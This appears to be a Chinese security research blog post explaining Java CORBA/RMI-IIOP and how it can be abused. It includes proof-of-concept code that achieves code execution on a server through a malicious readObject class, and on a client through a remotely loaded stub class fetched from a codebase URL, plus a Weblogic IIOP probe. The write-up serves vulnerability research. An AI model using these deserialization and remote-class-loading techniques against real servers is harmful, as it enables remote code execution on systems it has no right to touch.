关于 Java 中的 RMI-IIOP
作者:Longofo@知道创宇404实验室
时间:2019年12月30日
在写完《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)》的时候,又看到一个包含RMI-IIOP的议题[1],在16年Blackhat JNDI注入议题[2]中也提到了这个协议的利用,当时想着没太看到或听说有多少关于IIOP的漏洞(可能事实真的如此吧,在下面Weblogic RMI-IIOP部分或许能感受到),所以那篇文章写作过程中也没去看之前那个16年议题IIOP相关部分。网上没怎么看到有关于IIOP或RMI-IIOP的分析文章,这篇文章来感受下。
环境说明
- 文中的测试代码放到了github上
- 测试代码的JDK版本在文中会具体说明,有的代码会被重复使用,对应的JDK版本需要自己切换
RMI-IIOP
在阅读下面内容之前,可以先阅读下以下几个链接的内容,包含了一些基本的概念留个印象:https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]
Java IDL是一种用于分布式对象的技术,即对象在网络上的不同平台上进行交互。Java IDL使对象能够进行交互,而不管它们是以Java编程语言还是C,C ++,COBOL或其他语言编写的。这是可能的,因为Java IDL基于通用对象请求代理体系结构(CORBA),即行业标准的分布式对象模型。CORBA的主要功能是IDL,一种与语言无关的接口定义语言。每种支持CORBA的语言都有自己的IDL映射-顾名思义,Java IDL支持Java映射。为了支持单独程序中对象之间的交互,Java IDL提供了一个对象请求代理或ORB(Object Request Broker)。ORB是一个类库,可在Java IDL应用程序与其他符合CORBA的应用程序之间进行低层级的通信。
CORBA,Common ObjectRequest Broker Architecture(公共对象请求代理体系结构),是由OMG组织制订的一种标准的面向对象应用程序体系规范。CORBA使用接口定义语言(IDL),用于指定对象提供给外部的接口。然后,CORBA指定从IDL到特定实现语言(如Java)的映射。CORBA规范规定应有一个对象请求代理(ORB),通过该对象应用程序与其他对象进行交互。通用InterORB协议(GIOP)摘要协议的创建是为了允许ORB间的通信,并提供了几种具体的协议,包括Internet InterORB协议(IIOP),它是GIOP的实现,可用于Internet,并提供GIOP消息和TCP/IP层之间的映射。
IIOP,Internet Inter-ORB Protocol(互联网内部对象请求代理协议),它是一个用于CORBA 2.0及兼容平台上的协议;用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。
RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)。
CORBA-IIOP远程调用
在CORBA客户端和服务器之间进行远程调用模型如下:
在客户端,应用程序包含远程对象的引用,对象引用具有存根方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。
在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。
在ORB之间,通信通过共享协议IIOP进行。基于标准TCP/IP Internet协议的IIOP定义了兼容CORBA的ORB如何来回传递信息。
编写一个Java CORBA IIOP远程调用步骤:
- 使用idl定义远程接口
- 使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
- 编写服务端代码
- 编写客户端代码
- 依次启动命名服务->服务端->客户端
好了,用代码感受下(github找到一份现成的代码可以直接用,不过做了一些修改):
1、2步骤作者已经帮我们生成好了,生成的代码在EchoApp目录
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
//服务端 package com.longofo.corba.example; import com.longofo.corba.example.EchoApp.Echo; import com.longofo.corba.example.EchoApp.EchoHelper; import org.omg.CORBA.ORB; import org.omg.CosNaming.NameComponent; import org.omg.CosNaming.NamingContextExt; import org.omg.CosNaming.NamingContextExtHelper; import org.omg.PortableServer.POA; import org.omg.PortableServer.POAHelper; public class Server { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //创建并初始化ORB ORB orb = ORB.init(args, null); //获取根POA的引用并激活POAManager POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA")); rootpoa.the_POAManager().activate(); //创建servant EchoImpl echoImpl = new EchoImpl(); //获取与servant关联的对象引用 org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl); Echo echoRef = EchoHelper.narrow(ref); //为所有CORBA ORB定义字符串"NameService"。当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用 org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); NameComponent path[] = ncRef.to_name("ECHO-SERVER"); ncRef.rebind(path, echoRef); System.out.println("Server ready and waiting..."); //等待客户端调用 orb.run(); } catch (Exception ex) { ex.printStackTrace(); } } } |
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
//客户端 package com.longofo.corba.example; import com.longofo.corba.example.EchoApp.Echo; import com.longofo.corba.example.EchoApp.EchoHelper; import org.omg.CORBA.ORB; import org.omg.CosNaming.NamingContextExt; import org.omg.CosNaming.NamingContextExtHelper; public class Client { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //创建并初始化ORB ORB orb = ORB.init(args, null); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER")); String hello = href.echoString(); System.out.println(hello); } catch (Exception ex) { ex.printStackTrace(); } } } //使用Jndi查询客户端 package com.longofo.corba.example; import com.alibaba.fastjson.JSON; import com.longofo.corba.example.EchoApp.Echo; import com.longofo.corba.example.EchoApp.EchoHelper; import javax.naming.*; import java.io.IOException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class JndiClient { /** * 列出所有远程对象名 */ public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //列出所有远程对象名 System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); System.out.println("-----------call remote method--------------"); Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER")); System.out.println(echoRef.echoString()); } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
客户端使用了两种方式,一种是COSNaming查询,另一种是Jndi查询,两种方式都可以,在jdk1.8.0_181测试通过。
首先启动一个命名服务器(可以理解为rmi的registry),使用ordb启动如下,orbd默认自带(如果你有jdk环境的话):
然后启动服务端corba-iiop/src/main/java/com/longofo/example/Server.java,在启动corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。
这里看下JndiClient的结果:
1 2 3 4 5 6 7 8 9 10 |
> Listing namespace: > Looking up name: ECHO-SERVER { "ECHO-SERVER":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" } } -----------call remote method-------------- Hello World!!! |
注意到那个class不是没有获取到原本的EchoImpl类对应的Stub class,而我们之前rmi测试也用过这个list查询,那时候是能查询到远程对象对应的stub类名的。这可能是因为Corba的实现机制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl
是一个通用的Corba对象类,而上面的narrow调用EchoHelper.narrow
就是一种将对象变窄的方式转换为Echo Stub对象,然后才能调用echoString方法,并且每一个远程对象的调用都要使用它对应的xxxHelper。
下面是Corba客户端与服务端通信包:
第1、2个包是客户端与ordb通信的包,后面就是客户端与服务端通信的包。可以看到第二个数据包的IOR(Interoperable Object Reference)中包含着服务端的ip、port等信息,意思就是客户端先从ordb获取服务端的信息,然后接着与服务端通信。同时这些数据中也没有平常所说的ac ed 00 05
标志,但是其实反序列化的数据被包装了,在后面的RMI-IIOP中有一个例子会进行说明。
IOR几个关键字段:
- Type ID:接口类型,也称为存储库ID格式。本质上,存储库ID是接口的唯一标识符。例如上面的
IDL:omg.org/CosNaming/NamingContext:1.0
- IIOP version:描述由ORB实现的IIOP版本
- Host:标识ORB主机的TCP/IP地址
- Port:指定ORB在其中侦听客户端请求的TCP/IP端口号
- Object Key:唯一地标识了被ORB导出的servant
- Components:包含适用于对象方法的附加信息的序列,例如支持的ORB服务和专有协议支持等
- Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类,在后面利用中我们能够看到。
只使用Corba进行远程调用很麻烦,要编写IDL文件,然后手动生成对应的类文件,同时还有一些其他限制,然后就有了RMI-IIOP,结合了Corba、RMI的优点。
RMI-IIOP远程调用
编写一个RMI IIOP远程调用步骤:
- 定义远程接口类
- 编写实现类
- 编写服务端
- 编写客户端
- 编译代码并为服务端与客户端生成对应的使用类
下面直接给出一种恶意利用的demo场景。
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.util.Hashtable; public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { //实例化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服务中发布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.rmi.PortableRemoteObject; import java.util.Hashtable; public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //从命名服务获取引用 Object objRef = initialContext.lookup("HelloService"); //narrow引用为具体的对象 HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); EvilMessage message = new EvilMessage(); message.setMsg("Client call method sayHello..."); hello.sayHello(message); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
假设在服务端中存在EvilMessage这个能进行恶意利用的类,在客户端中编写同样包名类名相同的类,并继承HelloInterface.sayHello(Message msg)
方法中Message类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
package com.longofo.example; import java.io.ObjectInputStream; public class EvilMessage extends Message { private void readObject(ObjectInputStream s) { try { s.defaultReadObject(); Runtime.getRuntime().exec("calc"); } catch (Exception ex) { ex.printStackTrace(); } } } |
先编译好上面的代码,然后生成服务端与客户端进行远程调用的代理类:
1 |
rmic -iiop com.longofo.example.HelloImpl |
执行完成后,在下面生成了两个类(Tie用于服务端,Stub用于客户端):
启动一个命名服务器:
1 |
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost |
启动服务端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再启动客户端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到计算器弹出,在JDK 1.8.1_181测试通过。
服务端调用栈如下:
注意那个_HelloImpl_Tie.read_value
,这是在19年BlackHat议题"An-Far-Sides-Of-Java-Remote-Protocols"[1]提到的,如果直接看那个pdf中关于RMI-IIOP的内容,可能会一脸懵逼,因为议题中没有上面这些前置信息,有了上面这些信息,再去看那个议题的内容可能会轻松些。通过调用栈我们也能看到,IIOP通信中的某些数据被还原成了CDRInputStream,这是InputStream的子类,而被包装的数据在下面Stub data这里:
最后通过反射调用到了EvilMessage的readObject,看到这里其实就清楚一些了。不过事实可能会有些残酷,不然为什么关于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP来感受下。
Weblogic中的RMI-IIOP
Weblogic默认是开启了iiop协议的,如果是上面这样的话,看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。
直接用代码测试吧(利用的Weblogic自带的JDK 1.6.0_29测试):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
import com.alibaba.fastjson.JSON; import javax.ejb.RemoveException; import javax.management.j2ee.ManagementHome; import javax.naming.*; import javax.rmi.PortableRemoteObject; import java.io.IOException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class PayloadIiop { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001"); System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); Object objRef = initialContext.lookup("ejb/mgmt/MEJB"); ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class); managementHome.remove(new Object());//这里只是测试能否成功调用到remove方法,如果能成功调用,Object按照上面RMI-IIOP那种方式恶意利用 } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
list查询结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
> Listing namespace: > Looking up name: weblogic > Listing namespace: > Looking up name: ejb > Listing namespace: > Looking up name: mgmt > Listing namespace: > Looking up name: MEJB > Looking up name: javax > Listing namespace: > Looking up name: mejbmejb_jarMejb_EO { "ejb":{ "mgmt":{ "MEJB":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "javax":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "mejbmejb_jarMejb_EO":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "weblogic":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" } } |
这些远程对象的名称和通过默认的rmi://协议查询的结果是一样的,只是class和interfaces不同。
但是到managementHome.remove
就报错了,managementHome为null。在上面RMI-IIOP的测试中,客户端要调用远程需要用到客户端的Stub类,去查找了下ejb/mgmt/MEJB
对应的实现类weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl
,他有一个Stub类为weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub
,但是这个Stub类是为默认的RMI JRMP方式生成的,并没有为IIOP调用生成客户端与服务端类,只是绑定了一个名称。
通过一些查找,每一个IIOP远程对象对应的Tie类和Stub类都会有一个特征:
根据这个特征,在Weblogic中确实有很多这种已经为IIOP调用生成的客户端Stub类,例如_MBeanHomeImpl_Stub
类,是MBeanHomeImpl
客户端的Stub类:
一个很尴尬的事情就是,Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了。
刚才调用失败了,来看下没有成功调用的通信:
在COSNaming查询包之后,服务端返回了type_ip为RMI:javax.management.j2ee.ManagementHome:0000000000000000
的标志,
然后下一个包又继续了一个_is_a
查询:
下一个包就返回了type_id not match:
可以猜测的是服务端没有生成IIOP对应的服务端与客户端类,然后命名服务器中找不到关于的RMI:javax.management.j2ee.ManagementHome:0000000000000000
标记,通过查找也确实没有找到对应的类。
不过上面这种利用方式只是在代码层调用遵守了Corba IIOP的一些规范,规规矩矩的调用,在协议层能不能通过替换、修改等操作进行构造与利用,能力有限,未深入研究IIOP通信过程。
在今年的那个议题RMI-IIOP部分,给出了Websphere一个拦截器类TxServerInterceptor中使用到read_any
方法的情况,从这个名字中可以看出是一个拦截器,所以基本上所有请求都会经过这里。这里最终也调用到read_value
,就像上面的_HelloImpl_Tie.read_value
一样,这里也能进行可以利用,只要目标服务器存在可利用的链,作者也给出了一些Websphere中的利用链。可以看到,不只是在远程调用中会存在恶意利用的地方,在其他地方也可能以另一种方式存在,不过在方法调用链中核心的几个地方依然没有变,CDRInputStream
与read_value
,可能手动去找这些特征很累甚至可能根本找不到,那么庞大的代码量,不过要是有所有的方法调用链,例如GatgetInspector那种工具,之前初步分析过这个工具。这是后面的打算了,目标是自由的编写自己的控制逻辑。
JNDI中的利用
在JNDI利用中有多种的利用方式,而RMI-IIOP只是默认RMI利用方式(通过JRMP传输)的替代品,在RMI默认利用方式无法利用时,可以考虑用这种方式。但是这种方式依然会受到SecurityManager的限制。
在RMI-IIOP测试代码中,我把client与server放在了一起,客户端与服务端使用的Tie与Stub也放在了一起,可能会感到迷惑。那下面我们就单独把Client拿出来进行测试以及看下远程加载。
服务端代码还是使用RMI-IIOP中的Server,但是加了一个codebase:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.util.Hashtable; public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //实例化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服务中发布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
Client代码在新建的rmi-iiop-test-client模块,这样模块之间不会受到影响,Client代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
package com.longofo.example; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RMISecurityManager; import java.util.Hashtable; public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //从命名服务获取引用 initialContext.lookup("HelloService"); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } } |
然后我在remote-class模块增加了一个com.longofo.example._HelloInterface_Stub
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
package com.longofo.example; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; public class _HelloInterface_Stub { static { //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); throw new Exception(sb); } } |
启动远程类服务remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再启动rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然后运行客户端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可弹出计算器。在JDK 1.8.0_181测试通过。
至于为什么进行了远程调用,在CDRInputStream_1_0.read_object
下个断点,然后跟踪就会明白了,最后还是利用了rmi的远程加载功能:
总结
遗憾就是没有成功在Weblogic中利用到RMI-IIOP,在这里写出来提供一些思路,如果大家有关于RMI-IIOP的其他发现与想法也记得分享下。不知道大家有没有关于RMI-IIOP比较好的真实案例。
参考
- https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html
- https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html
- https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738